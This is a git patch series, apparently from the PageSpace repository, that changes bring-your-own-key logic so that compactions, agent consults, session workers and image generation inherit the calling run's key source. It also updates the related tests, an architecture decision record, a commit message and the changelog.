runGlobalChatTurn(ctx: GlobalChatTurnContext): Promise, user: { id: userId, role: auth.role ?? null }, spend: credit.spend, + // BYOK: the compaction this turn schedules decides as the turn did (ADR 0009). + keySource: assistantKeySource, }); turnTimer.mark('history_compacted'); diff --git a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts index 21ceb23019..68f0b43bf2 100644 --- a/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts +++ b/apps/web/src/lib/ai/chat-pipeline/page-chat-turn.ts @@ -1910,6 +1910,9 @@ export async function runPageChatTurn(ctx: PageChatTurnContext): Promise, user: user ? { id: user.id, role: user.role } : null, spend: credit.spend, + // BYOK: the compaction this turn schedules decides as the turn did (ADR 0009). + keySource: turnKeySource, + contentDriveIds: memberContextDriveIds, }); turnTimer.mark('history_compacted'); const { scheduleCompaction } = prepared; diff --git a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts index bebe93affe..17720283a3 100644 --- a/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts +++ b/apps/web/src/lib/ai/core/__tests__/model-key-source.test.ts @@ -9,10 +9,12 @@ const { mockIsFeatureEnabled, mockListForUser, mockSelect, mockIsOnPrem, mockPla })); vi.mock('@pagespace/db/db', () => ({ db: { select: mockSelect } })); -vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn(), inArray: vi.fn(), ne: vi.fn() })); +const mockNe = vi.hoisted(() => vi.fn()); +vi.mock('@pagespace/db/operators', () => ({ and: vi.fn(), eq: vi.fn(), inArray: vi.fn(), ne: mockNe })); vi.mock('@pagespace/db/schema/core', () => ({ drives: { id: 'id', orgId: 'orgId', ownerId: 'ownerId' } })); vi.mock('@pagespace/db/schema/monitoring', () => ({ aiUsageLogs: { id: 'id', conversationId: 'conversationId', keySource: 'keySource' } })); vi.mock('@pagespace/lib/deployment-mode', () => ({ isOnPrem: mockIsOnPrem })); +vi.mock('@pagespace/lib/permissions/drive-relationship', () => ({ isDriveLead: (userId: string, drive: { ownerId: string | null }) => drive.ownerId === userId })); vi.mock('@pagespace/lib/feature-flags/feature-flag-repository', () => ({ isFeatureEnabled: mockIsFeatureEnabled })); vi.mock('@pagespace/lib/agent-accounts/agent-account-repository', () => ({ createAgentAccountRepository: () => ({ listForUser: mockListForUser }) })); vi.mock('@pagespace/lib/agent-accounts/inference/model-key', () => ({ isModelKeyAccount: (row: { slug: string }) => row.slug === 'openrouter-model-key' })); @@ -119,7 +121,8 @@ describe('resolveModelKeySource', () => { const withManaged = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, conversationId: 'c1' }); readsReturn({ usage: [] }); const withoutManaged = await resolveModelKeySource({ userId: 'u1', provider: 'openrouter', driveId: null, conversationId: 'c1' }); - expect([withManaged.source, withoutManaged.source]).toEqual(['managed', 'user_key']); + // The ratchet reads only calls NOT on the person's key: one of their own calls never pins the conversation. + expect([withManaged.source, withoutManaged.source, mockNe.mock.calls[0]]).toEqual(['managed', 'user_key', ['keySource', 'user_key']]); }); it('given a flag lookup that fails, for a person with a key, should refuse; for one without, should use PageSpace\'s key', async () => { diff --git a/apps/web/src/lib/ai/core/compaction/compaction-service.ts b/apps/web/src/lib/ai/core/compaction/compaction-service.ts index 40ef96eb8a..c63206643e 100644 --- a/apps/web/src/lib/ai/core/compaction/compaction-service.ts +++ b/apps/web/src/lib/ai/core/compaction/compaction-service.ts @@ -51,6 +51,8 @@ export interface RunCompactionParams { * on a personal key. */ contentDriveIds?: readonly string[]; + /** Whose key the turn this compaction belongs to ran on: a turn on PageSpace's key keeps its compaction there. */ + turnKeySource?: 'managed' | 'user_key'; } async function summarize( @@ -123,7 +125,8 @@ export async function runCompaction(params: RunCompactionParams): Promise // BYOK (ADR 0009): a key may only ever be the FUNDER's. The provider is built for the turn's user, so it may // decide on their key only when they are also who pays; recorded under anyone else (a manual Run's presser), - // the compaction stays managed. + // the compaction stays managed. So does the compaction of a turn that ran on PageSpace's key (I10). + const forceManaged = billedUserId !== userId || params.turnKeySource === 'managed'; const providerResult = await createAIProvider(userId, { selectedProvider: provider, selectedModel: compactionModel, @@ -131,7 +134,7 @@ export async function runCompaction(params: RunCompactionParams): Promise driveId: spendDriveId(spend), keyOnlyContent: { driveIds: params.contentDriveIds }, modelCall: { conversationId }, - ...(billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), + ...(forceManaged ? { keySource: { source: 'managed' } as const } : {}), }); if (isProviderError(providerResult)) { diff --git a/apps/web/src/lib/ai/core/compaction/prepare-context.ts b/apps/web/src/lib/ai/core/compaction/prepare-context.ts index 030c62a5ac..b4323e241a 100644 --- a/apps/web/src/lib/ai/core/compaction/prepare-context.ts +++ b/apps/web/src/lib/ai/core/compaction/prepare-context.ts @@ -27,6 +27,13 @@ export interface PrepareConversationContextParams { * (see runCompaction), so it spends where the turn spent or not at all. */ spend: SpendTarget; + /** + * BYOK (ADR 0009): whose key the turn runs on, and the drives whose content it carries beyond the spend drive. The + * compaction of a turn on PageSpace's key stays there (its transcript may hold an org's content, I10, even before + * the turn's own usage row is written); one on the person's key decides on the same drives the turn did. + */ + keySource?: 'managed' | 'user_key'; + contentDriveIds?: readonly string[]; } export interface PreparedContext { @@ -56,6 +63,8 @@ export async function prepareConversationContext( tools, user, spend, + keySource, + contentDriveIds, } = params; const noop = () => undefined; @@ -110,6 +119,8 @@ export async function prepareConversationContext( model, plan: result.compactionPlan, spend, + ...(keySource ? { turnKeySource: keySource } : {}), + ...(contentDriveIds && contentDriveIds.length > 0 ? { contentDriveIds } : {}), } : null; diff --git a/apps/web/src/lib/ai/core/model-key-source.ts b/apps/web/src/lib/ai/core/model-key-source.ts index f0aa77d619..9e4da845fe 100644 --- a/apps/web/src/lib/ai/core/model-key-source.ts +++ b/apps/web/src/lib/ai/core/model-key-source.ts @@ -31,6 +31,7 @@ import { and, eq, inArray, ne } from '@pagespace/db/operators'; import { drives } from '@pagespace/db/schema/core'; import { aiUsageLogs } from '@pagespace/db/schema/monitoring'; import { isOnPrem } from '@pagespace/lib/deployment-mode'; +import { isDriveLead } from '@pagespace/lib/permissions/drive-relationship'; import { isFeatureEnabled } from '@pagespace/lib/feature-flags/feature-flag-repository'; import { createAgentAccountRepository } from '@pagespace/lib/agent-accounts/agent-account-repository'; import { isModelKeyAccount } from '@pagespace/lib/agent-accounts/inference/model-key'; @@ -132,7 +133,7 @@ export async function resolveModelKeySource(scope: ModelKeyCallScope): Promise 0 || driveRows.some((drive) => drive.orgId !== null); // A drive that no longer exists has no owner to prove: it is not the person's. const callDrive = scope.driveId ? driveRows.find((drive) => drive.id === scope.driveId) : undefined; - const fundedByAnother = typeof scope.driveId === 'string' && scope.driveId.length > 0 && callDrive?.ownerId !== scope.userId; + const fundedByAnother = typeof scope.driveId === 'string' && scope.driveId.length > 0 && !(callDrive && isDriveLead(scope.userId, callDrive)); const conversationOnManagedKey = orgGoverned || fundedByAnother ? false : await conversationHasManagedCall(scope.conversationId); return decideModelKeySource({ onPrem, backend, flagEnabled, hasModelKey, orgGoverned, fundedByAnother, conversationOnManagedKey, planeConfigured: isAgentAccountsConfigured() }); diff --git a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts index 34ad3afb1f..ab1cff77e8 100644 --- a/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts +++ b/apps/web/src/lib/ai/tools/__tests__/agent-communication-tools.test.ts @@ -195,7 +195,8 @@ vi.mock('@/lib/ai/core/user-credit-hold', () => ({ gateUserCall: mockGateUserCal const mockReleaseHold = vi.hoisted(() => vi.fn().mockResolvedValue(undefined)); vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold })); -import { agentCommunicationTools, executeAskAgent } from '../agent-communication-tools'; +import { agentCommunicationTools, executeAskAgent, CONSULT_NEEDS_PAGESPACE_KEY } from '../agent-communication-tools'; +import { toolModelContext } from '../../core/tool-model-context'; import { db } from '@pagespace/db/db'; import { canActorViewPage, canActorConsultAgent, isMcpScoped, resolveActingAgentId, filterDriveIdsByAppTokenScope, filterDriveIdsByMcpScope } from '../actor-permissions'; import { listAgentDrives, getAgentContextDrives } from '@pagespace/lib/services/drive-agent-service'; @@ -641,6 +642,24 @@ describe('agent-communication-tools', () => { expect(AIMonitoring.trackUsage).not.toHaveBeenCalled(); }); + it('BYOK (ADR 0009) given a calling run on PageSpace\'s key, should keep the consult there: its question may carry an org\'s content', async () => { + await executeAskAgent( + { agentPath: '/test/agent', agentId: 'agent-1', question: 'Test question' }, + { toolCallId: '1', messages: [], experimental_context: { userId: 'user-123', accessActor: credentialActor('user-123', null), ...toolModelContext({ provider: 'openai', modelName: 'openai/gpt-5.4-nano', keySource: 'managed' }) } as ToolExecutionContext }, + ); + expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toEqual({ source: 'managed' }); + }); + + it('BYOK (ADR 0009) given a calling run on the person\'s own key and a consult that lands on PageSpace\'s, should refuse it: its answer would carry org content back to the person\'s key', async () => { + // The default mock provider resolves with no keySource: PageSpace's key. + vi.mocked(AIMonitoring.trackUsage).mockClear(); + const result = await executeAskAgent( + { agentPath: '/test/agent', agentId: 'agent-1', question: 'Test question' }, + { toolCallId: '1', messages: [], experimental_context: { userId: 'user-123', accessActor: credentialActor('user-123', null), ...toolModelContext({ provider: 'openrouter', modelName: 'openai/gpt-5.4-nano', keySource: 'user_key' }) } as ToolExecutionContext }, + ); + expect([vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource, JSON.stringify(result).includes(CONSULT_NEEDS_PAGESPACE_KEY.slice(0, 40)), vi.mocked(AIMonitoring.trackUsage).mock.calls.length]).toEqual([undefined, true, 0]); + }); + it('should set parentAgentId from calling agent location context', async () => { const parentAgentPageId = 'parent-agent-page-123'; const context = { diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts index b559b249fa..42da154dc9 100644 --- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts +++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts @@ -22,6 +22,7 @@ import { sanitizeMessagesForModel, convertDbMessageToUIMessage } from '@/lib/ai/ import { messageRepository } from '@/lib/repositories/message-repository'; import { conversationRepository } from '@/lib/repositories/conversation-repository'; import { DEFAULT_PROVIDER, DEFAULT_MODEL, AI_PROVIDERS, getModelDisplayName } from '@/lib/ai/core/ai-providers-config'; +import type { ModelKeySource } from '@/lib/ai/core/model-key-source'; import { buildTimestampSystemPrompt } from '@/lib/ai/core/timestamp-utils'; import type { ToolExecutionContext } from '@/lib/ai/core/types'; import { createId } from '@paralleldrive/cuid2'; @@ -52,6 +53,10 @@ const MAX_AGENT_DEPTH = 2; * Get configured AI model for agent using the centralized provider factory * Handles provider-specific setup and fallbacks */ +/** Why a run on the person's own key may not consult an agent that runs on PageSpace's key (ADR 0009 I6). */ +export const CONSULT_NEEDS_PAGESPACE_KEY = + 'This agent runs on PageSpace\'s key here (an organization governs its content, or its conversation already used PageSpace\'s key), so it cannot answer a conversation that runs on your own OpenRouter key.'; + async function getConfiguredModel( userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, @@ -61,6 +66,12 @@ async function getConfiguredModel( modelCall: { sessionId: string | null; conversationId: string }; /** The drives whose prompts the consult injects (the agent's includeContext member drives): content too. */ contextDriveIds: readonly string[]; + /** + * The key the CALLING model run is on, when a model run calls (absent for a person-driven entry such as a channel + * mention, whose gate decided on its own). The consult's question comes from that run and its answer goes back to + * it, so the two keys must agree (ADR 0009 I6, I10). + */ + parentKeySource?: ModelKeySource; }, ) { const { aiProvider, aiModel } = agentConfig; @@ -80,17 +91,24 @@ async function getConfiguredModel( // caller is also who pays; a consult funded by someone else (a manual Run's presser) stays managed. // The key decision also counts the context drives whose prompts reach the model (ADR 0009 I6): an org's keeps the // consult on PageSpace's key. + // A caller on PageSpace's key keeps the consult there: its question may carry an org's content. + const forceManaged = byok.billedUserId !== userId || byok.parentKeySource === 'managed'; const providerResult = await createAIProvider(userId, providerRequest, { driveId: spendDriveId(spend), contentDriveIds: [agentConfig.driveId], keyOnlyContent: { driveIds: byok.contextDriveIds }, modelCall: byok.modelCall, - ...(byok.billedUserId === userId ? {} : { keySource: { source: 'managed' } as const }), + ...(forceManaged ? { keySource: { source: 'managed' } as const } : {}), }); if (isProviderError(providerResult)) { throw new Error(providerResult.error); } + // A caller on the person's own key cannot take an answer made on PageSpace's key: that answer may carry an org's + // content (the agent's drive, its context drives, its own reads), and it would go back to the person's key. + if (byok.parentKeySource === 'user_key' && providerResult.keySource !== 'user_key') { + throw new Error(CONSULT_NEEDS_PAGESPACE_KEY); + } // The pro-model gate, for the tier of whoever funds this consult (WAL-8, POL-8): the drive wallet's root owner for a // mention reply or an in-drive consult, the caller's own on their own credits. Keyed on the model that will run. @@ -752,6 +770,7 @@ export async function executeAskAgent( billedUserId, modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId }, contextDriveIds, + parentKeySource: executionContext?.modelKeySource, }); const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult; // BYOK: the factory's decision drives the gate and billing below — no hold, no charge on the person's key. @@ -880,6 +899,8 @@ export async function executeAskAgent( // spends (SPEND-7): its gate reserves on the caller's target, a mention's drive // wallet or nothing (SPEND-6). With no gated caller it is personal (SPEND-8). spend: executionContext?.creditSpend?.spend ?? PERSONAL_SPEND, + // BYOK: the compaction this consult schedules decides as the consult did (ADR 0009). + keySource: askKeySource, }); const { modelMessages: agentModelMessages } = await finishModelRequest({ prepared, tools: executionTools as ToolSet }); diff --git a/apps/web/src/lib/ai/tools/image-generation-tools.ts b/apps/web/src/lib/ai/tools/image-generation-tools.ts index 2809be2cce..4e4d0ad62c 100644 --- a/apps/web/src/lib/ai/tools/image-generation-tools.ts +++ b/apps/web/src/lib/ai/tools/image-generation-tools.ts @@ -188,7 +188,9 @@ restricted to app administrators.`, // BYOK (ADR 0009 I9): a key is only ever the funder's. The caller's own OpenRouter key may pay for the image // only when the caller is who the turn bills; an image in a manual Run pressed by someone else stays on // PageSpace's key, as that run's chat steps do (workflow-executor.ts). - ...(billedUserId === userId ? { userId } : {}), + // And a turn on PageSpace's key keeps its image there: the prompt comes from that turn, which may have read an + // org's content (ADR 0009 I6). + ...(billedUserId === userId && context?.modelKeySource !== 'managed' ? { userId } : {}), modelCall: { sessionId: context?.authSessionId ?? null, conversationId: context?.conversationId ?? null }, }); if (isProviderError(imageProvider)) { diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index a0a0e951bf..43a7ab4c69 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -59,7 +59,9 @@ The options: 9. **On the person's key, no org content reaches the model.** These are enforced where the content is read, not by the decision alone: - **Tools.** The tool boundary that already judges org model allowlists (POL-8, `actor-permissions.ts`) refuses every org drive on a `user_key` run, whatever the allowlist says. This covers page reads, drive listings and searches, and command pages injected into the prompt. Because of this, a turn on the person's key never adds org content to its conversation. - **Assistant context.** No org drive in view, no org drive in the workspace summary or the agent list, and no memory distilled from an org (`memoryOrgIds`). - - **Background passes.** Memory discovery, integration and compaction, and chat compaction, decide on the orgs and drives their input carries. + - **Background passes.** Memory discovery, integration and compaction, and chat compaction, decide on the orgs and drives their input carries. A turn's compaction inherits the turn's key: a managed turn's compaction stays managed, even before that turn's usage row is written. + - **Nested runs inherit the caller's key.** A model run on PageSpace's key keeps the agents it consults (`ask_agent`) and the images it makes on PageSpace's key, because its question or prompt may carry org content. A run on the person's key refuses to consult an agent that would run on PageSpace's key, because that agent's answer may carry org content back to the person's key. + - **Unknown outcomes.** A plane exchange that breaks after the request was sent reports `outcome_unknown`, not `upstream_unreachable`, so it is never re-sent automatically. 10. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies. 11. **Billing.** - A `user_key` call takes no credit hold and lifts the pro-tier model gate, ask_agent and workflows included. The admin-only provider gate and org allowlists still apply. diff --git a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts index e2e5f1e987..be4dcc7d5e 100644 --- a/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts +++ b/packages/lib/src/agent-accounts/__tests__/model-key-authority.test.ts @@ -7,6 +7,7 @@ * - a save whose previous key could not be revoked says so (the new key stored, the old one still active), * and the next removal retries it. */ +import { MODEL_KEY_SCOPE } from '../inference/model-key'; import { describe, expect, it } from 'vitest'; import { createHash, generateKeyPairSync, sign as nodeSign } from 'node:crypto'; import type { AgentAccountRecord } from '@pagespace/db/schema/agent-accounts'; @@ -51,6 +52,8 @@ function harness() { let putGate: Gate | null = null; /** `revoke` answers plane_unavailable while true. */ let revokeDown = false; + /** What OpenRouter answers the key check; null = the check cannot run. */ + let keyCheckStatus: number | null = null; const revoked: string[] = []; const deleted: string[] = []; @@ -106,8 +109,12 @@ function harness() { rows.set(id, next); return next; }, - // No delegation: the key check is refused before the plane, so `verified` is false and the flow goes on. - activeDelegation: async () => null, + // No delegation unless a test runs the key check: then it is refused before the plane, `verified` is false and + // the flow goes on. With the check on, the person's standing model-key delegation stands for them. + activeDelegation: async ({ accountId }: { accountId: string }) => + keyCheckStatus === null + ? null + : ({ kind: 'delegation', delegationId: 'del_1', accountId, agentPageId: null, delegatedBy: HUMAN, scope: MODEL_KEY_SCOPE, expired: false, revoked: false } as never), } satisfies Partial; const plane = { @@ -127,7 +134,8 @@ function harness() { return { ok: true } as never; }, usage: async () => ({ ok: false, reason: 'plane_unavailable' }), - inferStream: async () => ({ ok: false, reason: 'plane_unavailable' }), + // The key check: unreachable unless a test sets OpenRouter's answer. + inferStream: async () => (keyCheckStatus === null ? { ok: false, reason: 'plane_unavailable' } : { ok: true, response: new Response(null, { status: keyCheckStatus }) }), } satisfies Partial; const lockAccount: AccountAuthorityDeps['lockAccount'] = async (key, fn) => { @@ -166,6 +174,9 @@ function harness() { setRevokeDown: (down: boolean) => { revokeDown = down; }, + setKeyCheckStatus: (status: number | null) => { + keyCheckStatus = status; + }, }; } @@ -227,6 +238,16 @@ describe('setModelKey / removeModelKey', () => { expect({ removed, deleted: h.deleted, status: h.rows.get('acct_stranded')?.status }).toEqual({ removed: { ok: true, account: null }, deleted: ['acct_stranded'], status: 'revoked' }); }); + it('given a key OpenRouter rejects that the plane cannot revoke right now, should still never make it the person\'s key', async () => { + const h = harness(); + const first = await h.authority.setModelKey({ actor, apiKey: keyA }); + h.setKeyCheckStatus(401); + h.setRevokeDown(true); + const rejected = await h.authority.setModelKey({ actor, apiKey: keyB }); + const firstId = first.ok ? first.account?.id : null; + expect({ rejected: rejected.ok ? 'ok' : rejected.reason, active: h.active() }).toEqual({ rejected: 'key_rejected', active: [firstId] }); + }); + it('given a previous key the plane cannot revoke, should report the new key stored and the previous one still active, and retire it on the next removal', async () => { const h = harness(); const first = await h.authority.setModelKey({ actor, apiKey: keyA }); diff --git a/packages/lib/src/agent-accounts/account-authority-executor.ts b/packages/lib/src/agent-accounts/account-authority-executor.ts index 3637d0da7d..eecc3d263c 100644 --- a/packages/lib/src/agent-accounts/account-authority-executor.ts +++ b/packages/lib/src/agent-accounts/account-authority-executor.ts @@ -611,7 +611,9 @@ export function createAccountAuthority(input: AccountAuthorityDeps): AccountAuth const status = checked.ok ? checked.response.status : null; if (checked.ok) await checked.response.body?.cancel().catch(() => undefined); if (status === 401 || status === 403) { - await retire(stored); + // A key OpenRouter refused must never become the person's key, even if the plane cannot revoke it right now: + // the row is revoked here, so no call resolves it, and the plane's orphan sweep reconciles the material. + if (!(await retire(stored))) await deps.accounts.markRevoked({ id: stored.id, at: deps.now() }); return { ok: false, reason: 'key_rejected' }; } // A previous key that could not be revoked stays active, so the next save or removal retries it; the result diff --git a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts index 1d262acd6e..5578fe11c4 100644 --- a/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts +++ b/packages/lib/src/agent-accounts/executor/__tests__/inference-executor.test.ts @@ -94,7 +94,8 @@ function harness({ pinnedOrigin = INFERENCE_ORIGIN as string, reserves = true, contentType = 'text/event-stream', -}: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean; contentType?: string } = {}) { + failure, +}: { chunks?: readonly string[]; row?: AgentAccountRecord; pinnedOrigin?: string; reserves?: boolean; contentType?: string; failure?: Extract } = {}) { const sent: OutboundRequest[] = []; const signals: (AbortSignal | undefined)[] = []; let aborts = 0; @@ -125,6 +126,7 @@ function harness({ if (options?.signal?.aborted) return { kind: 'failed', phase: 'before_send', reason: 'aborted' }; sent.push(request); signals.push(options?.signal); + if (failure) return failure; let close: (how: 'complete' | 'cut') => void = () => undefined; const closed = new Promise<'complete' | 'cut'>((done) => { close = done; @@ -234,6 +236,17 @@ describe('createInferenceExecutor', () => { expect([result.ok ? 'sent' : result.reason, sent.length]).toEqual(['upstream_unreachable', 0]); }); + it('given an exchange that broke after the request was sent, should answer outcome_unknown (never re-sent) and audit it as unknown; one that broke before, upstream_unreachable', async () => { + const after = harness({ failure: { kind: 'failed', phase: 'after_send', reason: 'timeout' } }); + const sentAfter = grantFor(body); + const afterResult = await after.executor.execute({ ...sentAfter, body, run }); + const before = harness({ failure: { kind: 'failed', phase: 'before_send', reason: 'connect' } }); + const sentBefore = grantFor(body); + const beforeResult = await before.executor.execute({ ...sentBefore, body, run }); + await new Promise((resolve) => setTimeout(resolve, 10)); + expect([afterResult.ok ? 'sent' : afterResult.reason, after.audit[after.audit.length - 1], beforeResult.ok ? 'sent' : beforeResult.reason]).toEqual(['outcome_unknown', 'unknown', 'upstream_unreachable']); + }); + it('given a caller signal, should hand it to the network client, and cut the exchange when it aborts after the headers arrived', async () => { const { executor, signals, aborts } = harness(); const { grant, signature } = grantFor(body); diff --git a/packages/lib/src/agent-accounts/executor/inference-executor.ts b/packages/lib/src/agent-accounts/executor/inference-executor.ts index 7b7071eff0..feb72e1933 100644 --- a/packages/lib/src/agent-accounts/executor/inference-executor.ts +++ b/packages/lib/src/agent-accounts/executor/inference-executor.ts @@ -212,8 +212,10 @@ export function createInferenceExecutor(deps: InferenceExecutorDeps): InferenceE body: new TextEncoder().encode(body), }, { signal }); if (sent.kind !== 'response') { - announce({ ok: false, reason: 'upstream_unreachable' }); - return sent.kind === 'failed' && sent.phase === 'after_send' ? { kind: 'unknown' } : { kind: 'upstream_failed', upstreamStatus: null }; + // Broken after the request was sent: OpenRouter may have run it, so the caller is told it may have (ADR 0009 I7). + const afterSend = sent.kind === 'failed' && sent.phase === 'after_send'; + announce({ ok: false, reason: afterSend ? 'outcome_unknown' : 'upstream_unreachable' }); + return afterSend ? { kind: 'unknown' } : { kind: 'upstream_failed', upstreamStatus: null }; } const upstream = sent; // The caller may go away after the headers arrived but before anyone pipes the body: cut it then too. diff --git a/packages/lib/src/agent-accounts/executor/plane-wire.ts b/packages/lib/src/agent-accounts/executor/plane-wire.ts index 3d2b622e33..998894fb6f 100644 --- a/packages/lib/src/agent-accounts/executor/plane-wire.ts +++ b/packages/lib/src/agent-accounts/executor/plane-wire.ts @@ -225,8 +225,12 @@ export type PlaneSshEnrollBody = z.infer; export type PlaneSshExecBody = z.infer; /** The input shape: `call` may be omitted (a model call). */ export type PlaneInferenceStreamBody = z.input; -/** Why a model call never reached OpenRouter. The reasons are the person's, never an agent's. */ -export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' }; +/** + * Why a model call did not stream back. The reasons are the person's, never an agent's. Every one but + * `outcome_unknown` means nothing reached OpenRouter; `outcome_unknown` means the request was sent and the exchange + * broke after, so OpenRouter may have run (and billed) it — never to be re-sent automatically. + */ +export type PlaneInferenceRefusal = { readonly ok: false; readonly reason: 'refused' | 'limits_exceeded' | 'upstream_unreachable' | 'audit_unavailable' | 'outcome_unknown' }; export type PlaneBrowserFillBody = z.infer; export type PlaneSshHostKeyResult = { readonly ok: true; readonly fingerprint: string; readonly algorithm: string } | { readonly ok: false; readonly reason: 'unresolvable' | 'address_refused' | 'unreachable' | 'timeout' | 'host_key_mismatch' | 'auth_failed' }; export type PlaneSshEnrollResult = From 3803fd27ce30ffa04eb8b46536765d76d8dd56a3 Mon Sep 17 00:00:00 2001 From: 2witstudios <2witstudios@gmail.com> Date: Sun, 29 Nov 2026 23:56:55 -0600 Subject: [PATCH 19/35] fix(byok): a durable managed-conversation mark, session workers keep the caller's key Third review round (ADR 0009): - I10 is durable before content exists. The provider factory writes model_key_managed_conversations BEFORE a managed call runs (for a person with their own key on), so a side question, compaction or later turn can never see managed content in an unmarked conversation. The usage log stays the record for older conversations. Migration 0395 is regenerated, unmerged, with the table. - Session workers (spawn_session / send_session) keep the dispatching run's key: the signed dispatch payload carries callerKeySource. A managed caller keeps the worker managed; a caller on the person's key refuses a worker that would run managed (409 byok_key_mismatch). read_session refuses a managed transcript to a caller on the person's key. - A channel mention's gate decides on the reply's whole scope (the agent's context drives too), and ask_agent keeps the gate's decision (gatedKeySource). - ask_agent saves the question only once the model is built, so a refused consult stores nothing. - get_calendar_event judges an event by its home drive, not the drive it was shared into. - A model-key save whose advisory lock is lost while storing never activates the key. - Lib branch coverage back above the 94% gate: tests for the inference route and executor edge cases, the pinned stream client, the change lock, the feature-flag repository, own-key usage tracking, and model-key input validation. Co-Authored-By: Claude Opus 5.5 Claude-Session: https://claude.ai/code/session_01QyQdJ12jxXV5C9TW95PTr3 --- CHANGELOG.md | 1 + .../agent-dispatch/__tests__/route.test.ts | 6 ++ .../app/api/internal/agent-dispatch/route.ts | 2 + .../lib/ai/chat-pipeline/global-chat-turn.ts | 13 ++- .../lib/ai/chat-pipeline/handle-chat-turn.ts | 11 ++- .../lib/ai/chat-pipeline/page-chat-turn.ts | 11 ++- .../core/__tests__/model-key-source.test.ts | 57 ++++++++++--- .../core/__tests__/provider-factory.test.ts | 14 +++- apps/web/src/lib/ai/core/byok-responses.ts | 11 +++ apps/web/src/lib/ai/core/model-key-source.ts | 66 +++++++++++++-- apps/web/src/lib/ai/core/provider-factory.ts | 6 +- apps/web/src/lib/ai/core/types.ts | 3 + .../agent-communication-tools.test.ts | 5 +- .../__tests__/calendar-read-tools.test.ts | 21 +++++ .../ai/tools/__tests__/session-tools.test.ts | 17 ++++ .../web/src/lib/ai/tools/actor-permissions.ts | 9 ++ .../lib/ai/tools/agent-communication-tools.ts | 35 ++++---- .../src/lib/ai/tools/calendar-read-tools.ts | 5 +- .../src/lib/ai/tools/session-tools-runtime.ts | 6 ++ apps/web/src/lib/ai/tools/session-tools.ts | 23 +++++- ...gent-mention-responder-credit-gate.test.ts | 5 ++ .../__tests__/agent-mention-responder.test.ts | 2 +- .../__tests__/mention-credit-gate.test.ts | 25 +++++- .../lib/channels/agent-mention-responder.ts | 7 +- .../src/lib/channels/mention-credit-gate.ts | 9 +- ...model-keys-through-the-credential-plane.md | 9 +- .../db/drizzle/0395_byok_feature_flags.sql | 10 ++- packages/db/drizzle/meta/0395_snapshot.json | 64 ++++++++++++++- packages/db/drizzle/meta/_journal.json | 2 +- packages/db/package.json | 4 + packages/db/src/schema.ts | 3 + packages/db/src/schema/model-key-history.ts | 26 ++++++ .../__tests__/account-change-lock.test.ts | 35 ++++++++ .../__tests__/model-key-authority.test.ts | 82 ++++++++++++++++--- .../plane-client-infer-stream.test.ts | 38 ++++++++- .../account-authority-executor.ts | 15 +++- .../src/agent-accounts/account-change-lock.ts | 4 +- .../__tests__/inference-executor.test.ts | 78 ++++++++++++++---- .../__tests__/plane-inference-stream.test.ts | 37 +++++++-- .../__tests__/authorize-inference.test.ts | 19 +++-- .../inference/__tests__/model-key.test.ts | 27 +++++- .../lib/src/auth/agent-dispatch-payload.ts | 6 ++ .../compliance/export/gdpr-export-coverage.ts | 3 + .../__tests__/feature-flag-repository.test.ts | 69 ++++++++++++++++ .../__tests__/ai-monitoring.test.ts | 24 ++++++ 45 files changed, 813 insertions(+), 112 deletions(-) create mode 100644 packages/db/src/schema/model-key-history.ts create mode 100644 packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts create mode 100644 packages/lib/src/feature-flags/__tests__/feature-flag-repository.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index c6d7bf0b5e..a607e281f7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ All notable user-facing changes to PageSpace are documented here. Format follows - **PageSpace never stores your key.** It goes once to an isolated credential service, is added to each request there, and is removed from anything that comes back. It can never be read back by PageSpace or by an agent, and agents cannot use it as a tool. - **Calls in an organization's drives always use PageSpace's key**, so an org's content is never sent through a personal OpenRouter account. On your key, the assistant cannot read organization drives, and memory learned from them is left out. - **Your key only pays for calls you fund yourself.** Calls in a drive someone else owns, and conversations that have already used PageSpace's key, stay on PageSpace's key. + - Work handed between agents keeps the key it started on. An agent started from a conversation on PageSpace's key runs on PageSpace's key. A conversation on your key can't consult an agent, or read a session, that runs on PageSpace's key. - If an admin switches the preview off for you, PageSpace stops using your key and Settings still lets you remove it. - **If your key can't be used, the 